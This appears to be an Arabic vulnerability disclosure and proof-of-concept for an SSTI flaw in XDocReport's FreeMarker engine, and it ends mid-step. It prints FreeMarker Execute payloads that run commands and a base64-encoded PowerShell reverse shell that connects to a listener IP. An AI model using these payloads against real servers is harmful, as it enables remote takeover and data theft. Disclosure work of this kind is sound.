
CVE-2025-64087 (SSTI)
نظرة عامة على الثغرة
حقن قالب من جانب الخادم (SSTI) هو ثغرة أمنية في الويب تسمح للمهاجم بحقن تعليمات برمجية ضارة في القوالب المستخدمة من قبل أنظمة إدارة المحتوى (CMS) وأطر العمل (framework) الويب، بهدف تنفيذ هجمات عن بُعد، أو الحصول على معلومات حساسة، أو تنفيذ أنشطة اختراق للنظام.
SSTI هو أحد أشكال ثغرات الحقن (مثل SQL Injection و XSS وما إلى ذلك)، حيث يستغل المهاجم استخدام أنظمة القوالب لنشر تعليمات برمجية ضارة عن بُعد. عندما يتم تنفيذ هجوم SSTI بنجاح، يمكن للمهاجم تنفيذ التعليمات البرمجية الخاصة به على الخادم، مما يسمح له بتنفيذ هجمات عن بُعد، مثل جمع المعلومات الحساسة، وتنفيذ أنشطة اختراق النظام، والوصول إلى الموارد غير المصرح بها.
تحدث ثغرة SSTI عادةً بسبب استخدام أنظمة قوالب غير آمنة، أو بسبب عدم فحص ومعالجة معلمات الإدخال قبل إدراجها في القوالب. إذا تم تنفيذ هجوم SSTI بنجاح، فقد تكون العواقب وخيمة وتسبب خسائر كبيرة للمؤسسة المستهدفة.
تأثير الأعمال
يمكن أن تسبب ثغرة SSTI العديد من العواقب الوخيمة، بما في ذلك:
تنفيذ تعليمات برمجية ضارة: يمكن للمهاجم استخدام هذه الثغرة لتنفيذ تعليمات برمجية ضارة على الخادم، مما يسمح بسرقة البيانات، أو تنفيذ إجراءات غير قانونية على النظام، أو حتى السيطرة الكاملة على الخادم.
كشف المعلومات الحساسة: يمكن أن تسمح SSTI للمهاجم بقراءة أو تعديل أو حذف الملفات على الخادم. إذا كانت هذه الملفات تحتوي على معلومات حساسة، مثل الحسابات وكلمات المرور، فيمكن للمهاجم كشف هذه المعلومات بسهولة.
هجمات التهديد أو الاحتيال على المستخدمين: يمكن للمهاجم استخدام SSTI لتنفيذ هجمات تهديد أو احتيال على المستخدمين، عن طريق تغيير محتوى موقع الويب أو إضافة أزرار مخصصة مزيفة. إذا قام المستخدم بالنقر على هذه الأزرار، يمكن للمهاجم سرقة معلومات المستخدم أو تثبيت برامج ضارة على أجهزتهم.
تم العثور على ثغرة حقن قالب من جانب الخادم (SSTI) في OpenSAGRES XDocReport عند معالجة قوالب DOCX باستخدام محرك FreeMarker. في ظل تكوينات معينة، يمكن للقوالب المصممة خصيصاً أن تؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE).
يسمح موقع إدارة الموارد البشرية للمستخدمين برفع ملفات مستندات .docx إلى النظام. أثناء المعالجة، يستخدم التطبيق محرك القوالب FreeMarker (في الملف FreemarkerTemplateEngine.java) لتقديم المحتوى ${"freemarker.template.utility.Execute"?new()("whoami")} دون وجود آلية للتحكم أو تصفية محتوى الإدخال.
تسمح هذه الثغرة للمهاجم بحقن تعبيرات ضارة في ملف .docx (قالب)، مما يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE) على الخادم ويمكن استغلالها لسرقة المعلومات أو السيطرة على النظام.
fr.opensagres.xdocreport.template.freemarker — XDocReport (الإصدارات من 1.0.0 إلى 2.1.0).
https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java لا يتم إجراء فحص لمحتوى ملف xdoc المدخل. يتم تحميل محتوى القالب مباشرة وإرساله إلى process(context, writer, template) لمعالجته بواسطة محرك FreeMarker دون أي آلية عزل (sandboxing) أو تقييد للتوجيهات/التعبيرات. ونتيجة لذلك، يمكن للمهاجم تقديم قالب يحتوي على تعبيرات/أوامر FreeMarker ضارة، مما يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE)..docx يحتوي على الحمولة التالية:```
${"freemarker.template.utility.Execute"?new()("calc")}
2. تم التنفيذ بنجاح وفتح تطبيق الحاسبة

3. بالمثل، للحصول على معلومات المستخدم الجاري تشغيله على النظام باستخدام payload:```
${"freemarker.template.utility.Execute"?new()("whoami")}
.docx بعد معالجته بواسطة محرك القوالب يقوم بإرجاع بيانات النظام


6. رفع التأثير إلى RCE
- جهاز الاستماع هو wsl وعنوان IP الخاص به هو `172.26.208.130`

- الاستغلال باستخدام الحمولة التالية:
```java
${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")}
.docx عبر xdocreportxdocreport\template\fr.opensagres.xdocreport.template.freemarker\src\main\java\fr\opensagres\xdocreport\template\freemarker\FreemarkerTemplateEngine.java أضف المحتوى التالي